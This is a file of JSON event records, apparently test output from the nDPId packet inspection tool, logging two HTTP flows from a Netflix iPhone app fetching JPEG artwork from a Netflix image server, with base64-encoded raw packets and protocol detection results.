+00428{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6905,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":675789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0us1AAEAGOiPAqAEHuBnMCtAEAFDFgkYiq+D9DIAQEBUYOwAAAQEICh9l+cH\/\/WqN"} +00760{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6906,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":676250,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"gCqoTGHM5JjWH70UCABFAAEppeRAAEAGThfAqAEHuBnMCtADAFAmSxL+8j0E\/YAYEBUliAAAAQEICh9l+cH\/\/WqNR0VUIC80ZTM2ZC82Mjg5ODg5MDIwZDZjYzZkZmIzMDM4YzM1NTY0YTQxZTFjYTRlMzZkLmpwZyBIVFRQLzEuMQ0KSG9zdDogYXJ0LTEubmZseGltZy5uZXQNCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTO3E9MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpVc2VyLUFnZW50OiBBcmdvLzkuMS4wIChpUGhvbmU7IGlPUyAxMC4yOyBTY2FsZS8yLjAwKQ0KDQo="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6906,"source":"netflix.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":4,"flow_first_seen":1484319118657,"flow_last_seen":1484319118676,"flow_tot_l4_data_len":393,"flow_min_l4_data_len":32,"flow_max_l4_data_len":277,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.10","src_port":53251,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"art-1.nflximg.net","url":"art-1.nflximg.net\/4e36d\/6289889020d6cc6dfb3038c35564a41e1ca4e36d.jpg","code":0,"content_type":"","user_agent":"Argo\/9.1.0 (iPhone; iOS 10.2; Scale\/2.00)"}} +00759{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6908,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":687774,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"gCqoTGHM5JjWH70UCABFAAEp1+JAAEAGHBnAqAEHuBnMCtAEAFDFgkYiq+D9DIAYEBXuKgAAAQEICh9l+cj\/\/WqNR0VUIC84YjFmYS9lYWExYjc4Y2Q3MmNhNGRiZGNhYjUyNzY5MWQyZmNhYjM3YzhiMWZhLmpwZyBIVFRQLzEuMQ0KSG9zdDogYXJ0LTEubmZseGltZy5uZXQNCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTO3E9MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpVc2VyLUFnZW50OiBBcmdvLzkuMS4wIChpUGhvbmU7IGlPUyAxMC4yOyBTY2FsZS8yLjAwKQ0KDQo="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6908,"source":"netflix.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":4,"flow_first_seen":1484319118658,"flow_last_seen":1484319118687,"flow_tot_l4_data_len":393,"flow_min_l4_data_len":32,"flow_max_l4_data_len":277,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.10","src_port":53252,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"art-1.nflximg.net","url":"art-1.nflximg.net\/8b1fa\/eaa1b78cd72ca4dbdcab527691d2fcab37c8b1fa.jpg","code":0,"content_type":"","user_agent":"Argo\/9.1.0 (iPhone; iOS 10.2; Scale\/2.00)"}} +00427{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6909,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":700093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0blRAADwGiny4GcwKwKgBBwBQ0APyPQT9JksT84AQA6unowAAAQEICv\/9aqkfZfnB"} +02399{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6910,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":701050,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcblVAADwGhNO4GcwKwKgBBwBQ0APyPQT9JksT84AQA6syAQAAAQEICv\/9aqofZfnBSFRUUC8xLjEgMjAwIE9LDQp4LWFtei1pZC0yOiBMU2pOWitNMVdoNm1wa0x6Smt1U1dDVis3S2xRR093ckFsR3UxWHVyczZPTEdjMXIyK3l3em44U0cvK3VTbnlqaEhTaWVsQjdVSTQ9DQp4LWFtei1yZXF1ZXN0LWlkOiAwMTY0ODc5NUY2RUMxMDU2DQpMYXN0LU1vZGlmaWVkOiBTYXQsIDAzIFNlcCAyMDE2IDA4OjMwOjQ0IEdNVA0KRVRhZzogIjA1YWMzZGYwNzgyZDBmY2I1ZTk2YjViMTQ2MGQyZDM0Ig0KeC1hbXotc2VydmVyLXNpZGUtZW5jcnlwdGlvbjogQUVTMjU2DQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnDQpDb250ZW50LUxlbmd0aDogNzM5MA0KU2VydmVyOiBBbWF6b25TMw0KVGltaW5nLUFsbG93LU9yaWdpbjogKg0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0yNTQxOTA0MA0KRXhwaXJlczogRnJpLCAwMyBOb3YgMjAxNyAxOTo0MjozOCBHTVQNCkRhdGU6IEZyaSwgMTMgSmFuIDIwMTcgMTQ6NTE6NTggR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCv\/Y\/+AAEEpGSUYAAQEBAAEAAQAA\/9sAQwAIBgYHBgUIBwcHCQkICgwUDQwLCwwZEhMPFB0aHx4dGhwcICQuJyAiLCMcHCg3KSwwMTQ0NB8nOT04MjwuMzQy\/9sAQwEJCQkMCwwYDQ0YMiEcITIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy\/8AAEQgA\/AHAAwEiAAIRAQMRAf\/EABwAAAIDAQEBAQAAAAAAAAAAAAECAAMEBQcGCP\/EAD8QAAICAQIEBAQDBQYEBwAAAAABAgMRBBIFITFBBhNRYQcicYEUMpEjQqGxwRUzUnKC0RckU5JUYmOTorLh\/8QAGwEAAwEBAQEBAAAAAAAAAAAAAAECAwQFBgf\/xAAlEQEBAQEAAwEAAgEEAwAAAAAAARECAxIhMQRBUQUTFDIiM2H\/2gAMAwEAAhEDEQA\/AHn8J+HPpSkZrPhHon0g19z2\/wDBeyD+BXojfXL9eCWfCDT\/ALrmvuZbPhB\/hssX3P0N+Aj6In9nQfZBsP6\/Ntvwj1C\/LdP7oxW\/CniMfy25+sT9O\/2XU+yA+EUPqkHtBtfla34Z8Yh+Xa\/sYbfAHG6+lCl9D9avgumfVIR8C0b6xiGw\/bp+P7fCHGquujm\/oY7OCcSp\/Po7l\/pP2PLgHD+8I\/oZ7eAcKSeaq\/0QbB71+OJ0W1\/3lU4f5otFeD9OeKuEcHr0Vjenp6PnhH5z4vXTXxK6Onx5alyx0BXPWudgmAtpdRd8QUOCYEdvsHzF6D0ZTBSBvj6hVkPUqUvp0h0hYyi+kkXRiXEVIxLIxDGJZGJcSCiWxiRRLIxGQKI20dRHUQNWojKI6iNtGRFEO0s2h2gSvaHaWbQ7RhVtDtLNodoBVtJtLdpNoBVtJtJfdVp699stq7e5xtVxa2x4p\/Zx9e7JvUhzm38dWy2ulZsnGP1Zit4tRDlWpWP9Ecac5Tluk3J+rYpnfJWs8c\/t0Z8ZtbeyuKXvzK\/7W1OekP0MWAE+1V6cunDjM0\/nqi17PBuo4jp7uW7ZL0kfPECd2FfHH1mF6h2nzul19uml13R9Gz6HTXw1VSsh916GvPUrPrmwXEVovcRXEpKhxFcS5xF2gSraDBbtBtAiJDOOQpDJAbNKIuDTKBS44YB7N\/xtq\/8ABXfqgf8AG+PbQ2\/qjxfJMnE39Y9lfxv9OH2f9yEl8cLO3D5f96PHcgyGDI9el8Y="} +02396{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6911,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":702105,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcblZAADwGhNK4GcwKwKgBBwBQ0APyPQqlJksT84AQA6sS\/AAAAQEICv\/9aqofZfnB\/U9uH\/8AzKZfG\/XP8ugj\/wC4eStgbHhZHqk\/jbxR\/l0Va\/1syW\/Gfjk\/yaemP3bPNGwNhgx97d8W\/Eli+WdMPpFs5Wp+I\/ia\/Odft\/yxR8q2Z7bOq7BkN0uIeJuLa5OOo191ifVbsI4cpyby2xmIx4cK22IOwBioUgcEwB6BA4DgBpS6u+dffK9GVhwVPhX\/AOt1Wsg3ia2+5shZXLG2aeTjIaLcXyLndZ3if07yiWKJj0Op8yKhN5kjoxiay6yswFEdRGUR1EYIohUS1RGUACraMolm0O0YVbQqBcoBUAJSoh2F2wm0ApcTma7isNO3XTic+77IHF+IuuT09MsS\/fku3scFkdd58i+ef7o3XWXz32Tcn7lYSYMq1KQbHMGBHoEwNgGBDQwgYGwTAhpcGjS6u3SWboPl3j2ZTggx+vrtNqK9XSrK3y7p9mWOJ8xw7VvSalNvFcuUl\/U+rWJRTTyn0Zvx1rDqZVDiDaXuIriWlQ4g2l7iDaAUbQpFu0m0ArceRTOJq2lU4iDCQbAMHn+zu9AAMAel6kYGhgYHqfUjFHaA0PSxTY8RMsi+5\/N9jOxxNKxcDMAyK0BjYBgZlwTA2CYA9Lgg2A7QGlwFJ+gyiWQg89A0le0Kjl4NEa8Pp1GlDZjlyY5YLsJTmNsWuzPpIx5HI0mldsk8HdhXhI24ZdEUR1EsUPYdQNEEURto6iMogavaFQLVAdQAlSgFQLlAdVgGfYZtfetJpJ28t3SK9WdLyzi+IK3KFEMctzbF1cmnzNuPlbG5ycpPLby2Jg1XVxUsR7FLhg59b5irAMDtEwBEwRIfaRR6C0y4BgsxkmPQQJgGCzHQVrmIEJgZojWBguD6Pgmt86j8PN\/PDo\/VHzuC3S2eTqa7PRlc3LpdTY+z2g2llWJ1RknnK6j7DpYM7iDYaNhNgEz7AbS9wFcQNTgqnE0uJXKIBzXHHUDR09Rpf2u5LkzNbppZW1dTx55I+s8v+m+TmW\/uMbQrR0v7MscM7ln6GO6mdMsTX3K57lcXm\/heXxz265+KMAYzQDSOK8kwBocVoqM7GO9fOyhmi388iloqM7FbANgGCkFwTA2CYAFwTA+0mBgmBlEI6QBIwNEK+4aqsmlV4Rn1WvPKrYaNLp43T8qf5WxcGzQ43xXfKDm\/T6nx0KdLCmKjGOC+NZdsHUTukxx1VGstjS32La4ZaNsKfYVuNfF4vdg8h+gVS\/Q6Xk8uhFSifdvf42OcqX6DKrBvdIrrKnTHyeH1ZY1FiqLowLFApzs3lHE8SQ2aWp93Nr+B9NsOD4pSWjoz\/wBR\/wAifJ\/1q+P+0fGyXMrccl0uouMnK6WeUAKJq2iTh3XUPYejO0QZoij1HqScsjLqPXWnmUuiHaiukVgm1U4tmqEuaBjmXOG36dhWuX1DSxVgDXMfuCXcaVeMhwHuFIon3HC15vDaJ9cwRpdeBeC0Ovg+mT6uGf1Nsqm+iN+b8T3xk1k2E2GyOmm+xYtE31ZbJzXArlE670cUuhkupwAc9oTaXyjzBtANKp8ytv0ZI6dPPI1Qjsyn3ZJLCeD55+p\/qtUrYcvW0qcJLHPsdFaiWZQklgx2\/MmOfKnrxzrm89fj55rADRdHFkl7lB2c3XxX8jxf7fd5LgDGAXHJYxWr9pL6lTRo1EcWZ9UUNDjLqK2gYGaJgtnS4NGnqi1ul9inBpqT2Je4ulcT6tshDZlrkZbKtrwua9TZPG1YWX7k2xnBJc8dyJcadcyudjA8FzLLa9siVRzI134xz7jZVHEUWPIIR5FnJLoY10KJbuxdopyp1Nc7E1Hcssik0m2l9DXXNaiqNVqS55WImnLPp31HJZGA1EG6oNx2vC5ehfGs7XIWqHzI3whyEq07bTfI2xqccZI7d\/8AC\/aq2ciKBpUFgmwzj0euWZwKpw5G2USmceRpy4M="} +00428{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6912,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":703586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0iMdAAEAGbCnAqAEHuBnMCtADAFAmSxPz8j0QTYAQD9KQEQAAAQEICh9l+dv\/\/Wqq"} +00427{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6913,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":713206,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0l79AADwGYRG4GcwKwKgBBwBQ0ASr4P0MxYJHF4AQA6sjgwAAAQEICv\/9arMfZfnI"} +02383{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6914,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":713714,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcl8BAADwGW2i4GcwKwKgBBwBQ0ASr4P0MxYJHF4AQA6vPKwAAAQEICv\/9arQfZfnISFRUUC8xLjEgMjAwIE9LDQp4LWFtei1pZC0yOiB0djg5MC8yWXo0bW5oemRBWjhZTGUvU0YzemZJYWl5Rzg0Ym5pU0ZwS2wySEcwVytuRXdKQmFQQ21lOS9MU0lsVkpCanV0WHNzb3c9DQp4LWFtei1yZXF1ZXN0LWlkOiAyRDhBMjFFOTg5QTczODA3DQpMYXN0LU1vZGlmaWVkOiBTdW4sIDA0IFNlcCAyMDE2IDA2OjM3OjQ0IEdNVA0KRVRhZzogIjM3NGY3NGRlZWFmNDBlYTc2ZTdiNzU0MDY1MDBlYjU5Ig0KeC1hbXotc2VydmVyLXNpZGUtZW5jcnlwdGlvbjogQUVTMjU2DQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnDQpDb250ZW50LUxlbmd0aDogMTAyMzk2DQpTZXJ2ZXI6IEFtYXpvblMzDQpUaW1pbmctQWxsb3ctT3JpZ2luOiAqDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTI2NTU5Mzg0DQpFeHBpcmVzOiBGcmksIDE3IE5vdiAyMDE3IDAwOjI4OjIyIEdNVA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTo1OCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K\/9j\/4AAQSkZJRgABAQEAAQABAAD\/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL\/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL\/wAARCANgBgADASIAAhEBAxEB\/8QAHAAAAgMBAQEBAAAAAAAAAAAAAAECAwQFBgcI\/8QARxAAAQQBAwIEBQMDAgQDBwEJAQACAxEhBBIxBUETIlFhBhQycYFCkaEVI1IzsQdiwdFDcuEWJDRTkvDxJVSCNWNzokSDsv\/EABsBAQEBAQEBAQEAAAAAAAAAAAABAgMEBQYH\/8QANREBAQACAQMEAgECBQQCAQUAAAECEQMSITEEE0FRBWEiMnEUI0KBkaGxwdFS8CQVMzRD4f\/aAAwDAQACEQMRAD8A7qEIXqfKJGEwnWUC7JJ5T7IIp9rTzSECpCfJ9EIFWUyPRHZHdAkUmjsgXdNHAR2zwgPukmn+yKQQn2QiF7opNFIF2QM4TQgK9EipdkkAhOkdkC7opNCKVZtFJopEJHCaPxabAhF\/umgXe0EJ0hBGsp90+6ECpOkUgooRwjugikQV6ICfokEBSALTRXogSKCE0CruhNFIFRtNCaBUiihNQJHCdJKgrKaEVSAr2QikUgP9kUPwj2QOEAjlNCKSOE0fdEJCYR3QH3QhCBUawUJopAYQik6QJCKRaAQhPhAqQhPKKWEcHhNBGaQJBGU0IFlOkIpQHdCEKhJo7FP\/AGQIorCaPVAqRWE0UiFSE0IpI\/KdIpAu\/uhOkUoEhOkUUAhCEBSVKXKVeyAQik0CQnaK90EfumnSCKQJHqhNAkdwnRR2QKuUYTpFWgVWE6R9kZ9EAlSdJ1aBdkIQijskMFSRhEKikpfhJAUhNFIF3QmhAqQmhAcIQjsgSMp1hCApJNOsIFikIpCBV6J0nVZSQFUjlNFIF7dkJoQLkIpPujugSPunSO6BUhNFIBCKoYTpAu\/ZCEUgKRSAmgjSBVp8p1lBFCdIpAkVSdJoF\/shPshBHsn3Tr7JD1pAI9Ewg+6CKfCEIBFWn\/KECRWeyaOCgVIpP8oQLv7p1SEIFx2R\/unVcopEI906tCM0gSEVhPkoFSOCnwikGP3R2TCSF8ikIwnyqFWEVlNCASQ="} +02389{"flow_id":62,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6915,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":726416,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcl8FAADwGW2e4GcwKwKgBBwBQ0ASr4QK0xYJHF4AQA6vc1wAAAQEICv\/9arQfZfnI0KApKk+U+yq0kk+6EQc9kUnyhFLug1WeU+6ECQQnWEcIhd0UnWEICkUhCKOyAnyEkDpCEG7QJHZOrKaISSaEC5TTKXCA\/wBkcITUAEvVNGVQuUJoKBIz6KVJUgKQhNAkUE0KBIKK906QII7por9lQe6MFNL2UBSO9porCqlyhOkIhUjsmhAiOyaEIpITQiBCKTCgSEfhAVB+UJoRS4QmgKBcIUkrVTQ7IRSCooQisp0gVJ9kIQJFJoQJFJo7IEmjlCASTQgQ5RSdJoFSOUZQOEAhNCBdkJ82ivdAihMcoCApLunnKECQnSKQCOydUiuEC7opOs2irQKkfhSApOkEKTpSpFfhBGkUoS6rTwNuSaNo9XOC5Gr+LOk6UkCbxnjtGLH7q6rWONy\/pm3apFehXlx8c6MkH5aUD3cF0tH8S9N1bmt8bw3Hs\/Cavw1lxZ497K61BCbSHtDmuDmnggoIUc4VITCRQJNCECQE+E0CQikIaH\/3lCfshAkV+E6RWECpBT+6DwgSE6wg8IDukmjugVFHdSope3qgMpcWmjsgSefRFYT7IF3QnwgcoI+qZQnXsgX4R2TKECr2Rx2TCFAj7p9kHlCoMJUmmgSOyaKUCCE6QgRQmhUKke6aECpL3UkUgSE0IF\/shBGE6QKqQmjhArQnVopAkZTQgXKE0FAJVhNHcIFSaEIBCEfugVfumj3QgKwhOrQgRCEI7IEhP2TpEL8opFYQiikcBCEBlCEUgKQeEd0IjGEJ\/lHZFpYR906RSIVI9U0Io7IQjuEBhFIAQqBCZwlWFAJ0j8I4QKk0IpECEeqKwgEUhMIpITpACIXun+EVSEUJBM\/hGEQIRSeQikEJorKIX+yafol9lQu5TQhRSrHumhCIEV90cp1aBcD3Qn3QgjSfdNCKVITQqAcJUpJICrRWE0fdQL8oTpCBIpCaoXsik0KJ5COyAhFA4RaaWEAEJ8oKBcBLsmhAk0JoEEIpNAIpCOyApCLTQJATr2RSASpOkkD7Jdk0IBCMeiOyACE0kUUhCaISO6aSAQnSECR3TrPKEC54CE6QgRTR3QUUI7oQgK7hKlKqQgVJ8KVZWHqHVINCw2Q6SvpTS4423UbHFrRbnAD3KiZomDcZGAepcF896t1qbVajMlAZDRwuW\/Vyvrc9xHubTce\/D8byZTdun06Xqugh+vVRD\/8AetYpfijpsdgSPkP\/AChfOTNRy5v5Vb9WwcyALPXi9PH+Jt82vdTfGUYsQ6a\/QvcsE3xnq68jIm\/\/ALtrxruoQAEbt32VR6gwimtcb4UvLI9eH4jD5j1EvxZ1J3E+3\/ygBc+brevmsv1UpB7blxTqpCcREfcqEupeGjcwt\/lZ923w9OP47iw\/0xp1GskkJt5WYzbhzhUeI12Q4X6I5ugs9VpeKTtpeJirI9SRkLHakHG1ZWLxx6LpfxBrOnvHhzHaOWnIP\/Ze96R8SaXqYEclRT+hOD9ivkjX1yVr0+ocwgh1e66Y5\/bw8\/osM+87V9rS5Xkvh34n3tbpda++zZD\/ANV6\/BAIIytV8bk48uPLpyRpIqXCSjmXZHZOk0EQE6\/dCO6KK90qUkIFVIpFIQCO6aAgRCKTRSAS7pgUhEIBCaKQIhFeyfdCBJoCaCP3TQnSCNIpOk0CRhFIpAIRwmgSE0JsJGEJopdkd06QiFSK7IKaBITQAgEk0IEhNCBUmhCKCl6po5RCRwmilQkJpqCP3TQikAhCKVAj\/fshFKAQhBQCOyKR3QCEJoEg8IQqBCEIBCEIBCE1AqQhCoKQhCgKQhCDHSaaSpfJJ0hCIEICB6oopHsnXdHoUQkJoPKKVITqkVaISaKRWUCTpATQKkUmhFJHFp890ewQCEH8o7IDsik0rQFZRmk0IEn9keyEAOeUd0DhCFCE0kB3Qn7oQJB9lJLugXKEyilAk6Q="} +00428{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6916,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":727875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ZAtAAEAGkOXAqAEHuBnMCtAEAFDFgkcXq+EIXIAQD9IL4QAAAQEICh9l+fL\/\/Wq0"} +02386{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6917,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":740217,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcbldAADwGhNG4GcwKwKgBBwBQ0APyPRBNJksT84AQA6vSoAAAAQEICv\/9aqofZfnB+T+MyiOojqA6gaPMV7T5jxgpKOlf7mZfryPrVA5XiDhlnEeHOFSzZCW6K9RdTZh8XOtedvm+REiShKEnF5TTw16By0jksdcqAxnIVzDgitJ9UuHMaNeI5aLVFEmvl5C0TnPqqK\/ZyisepUubwyySapyu8gR\/Mm+gwdQ3VpPquRnmsZ5dDbGPKK7vmVWw5snm\/R3yyPqKyySEaNYwpDbwzRWcQ4jp9JVHM7ZqKRkxzPQfhdwqu7jFvEdRhV6aOIZ7zf8Asv5jtyFP16NZwTT6fR11RqglGCXJHz2s0apm9qwj7LW6ypxbVkf1PkuIaqE7Gk8j8O6vy9SxlhBFm1YKVbjoiStk1yR0ubDWJYOdqUuZpnvl1Zkti+4DGCUeYFEulHmDaNLaoOxLHZ5yPZp5xa6czVo6kqENbJbos+d1+n+\/3I5q0sXbloy6qhQT29DsS2\/mTObrJrEsj1fPVtfMaj+9l9TMaLk1ZLPXJQdfH4+T\/n\/fJS4JgJDSPN6UaiOYJ+hkZ0ZLdFr1OfJYeH1KjLpW0DA7AkWyowjlmmCxLD6MqrXM1xSa5k9VpxBdaccZxkNUHFOLX39QxyvdIsjJSWUQ0xkvhl4Jp4fM8mmUU+qJGtReUit+Iz7plEbYNFFmCVKtvIkcrp2LNuWBcn0Kia+v4Rv4lpoSri5TXyyS9T6XTeE+LXRVkdLJxPkPBfiGHh3j1Wo1NLu0U2o31rrj\/EvdfxP1FodRpdZoadTo5ws01sFOucOkovozW+bqMP8AbleEXcN1Oks23UyhJeqB0g0z2TxJwmjWcNtsdcfMgtyeDyPXUbZSxywy+PJ7\/p82+K7GXKRHJFaiwqBr6Lv8zqo3kRrJbsCoFSY5+\/Lev1SoDqBaoDKA2SraYuLatcO4ZdqHjcliGe8n0OntPhvGOvd+tjo4P9nRzl7yf+yF1cmq4m3Hys8ym23lt5bBtwhmuYWctdUKkMRBM60iAYSErUTxjb75GhDOJPouiLfLT5vqTAWiT+6K65K7FktSEnjAodZJRK2lgunj1K2456mkYVK4ZfTkekcB0j0nCaINYlJb5fV8z4XhlK1GsqqT5ykkenwgoxUV2WDfxT+2Hk\/wRpsXZll+0KibM1ca0NsLEgMWHqiUTNbA2v6Ge1ZGWudKHMXaaJR5i7QJunPyIYjgxLUyumlhfY2arh+uw0qsv2Zho4droTbenn1Pm55Of8v0rnzeL89pqXNxSafcw3Zbfc3ajT6qK50Wf9phujbHLlXOK90aSyujnvn\/AC4usjtufujGbda828vQxPqdXj\/Hyv8AqP8A7usQhCGseX0hl1MMS3Lv1NQtkd1bXsUzrnNESGaCkUyWVo0RKYI0RRNXBQ0VhBSHUeRKy4GSIkWJDIEh0gqIyQYCdHkkZfM211DLCfPoWV0+b\/dtP6vBciOq+h8O+EOKeILq\/JjVRRJ87rpYWPZdWfpPw\/wmngXAdHwyix2V6evbvf7zzlv9WzyXgm\/TaLTbW44rj\/I+mq45qqq9vmywPvjpnO5X2HH9fVp+HW17k5zWMHlHEGpTlg6+t19l7blJt+7OPbHdJtmnh4y7Wfk7YFWOqzQqxlWdLHWbyxlWaFWN5YEzeWHYaVWHywDNsPL+O6PUabiupV8JLdZKUZNcpJvk0es+WR0xksSimvdZJ6mxXPfrXiE4beqa+qE7Hofj\/RQfD9LqlFKcLNmUuzX\/AOHnuOZj1znx0cdb9RBIQxsbSoyIgMpE4rTiyko9RJXKK9zLO3L5sJxoveLp3+hnnc33K3NsXcaTjGN7tFybFJkGC0HhOUJqUJOMk8pp4aPseDeMtqhRxNOS6K+PX\/Uv6o+MGTHLZ+FZr2Oi+nVVK2i2Flb6Sg8otweeeDLb4cZjCtSdU4tWJdOnJnpVVe41nWxnZlUqtsmw6EaV6CWVJIXsWMA="} +00429{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6918,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":742941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0R0lAAEAGrafAqAEHuBnMCtADAFAmSxPz8j0V9YAQEACKFgAAAQEICh9l+gD\/\/Wqq"} 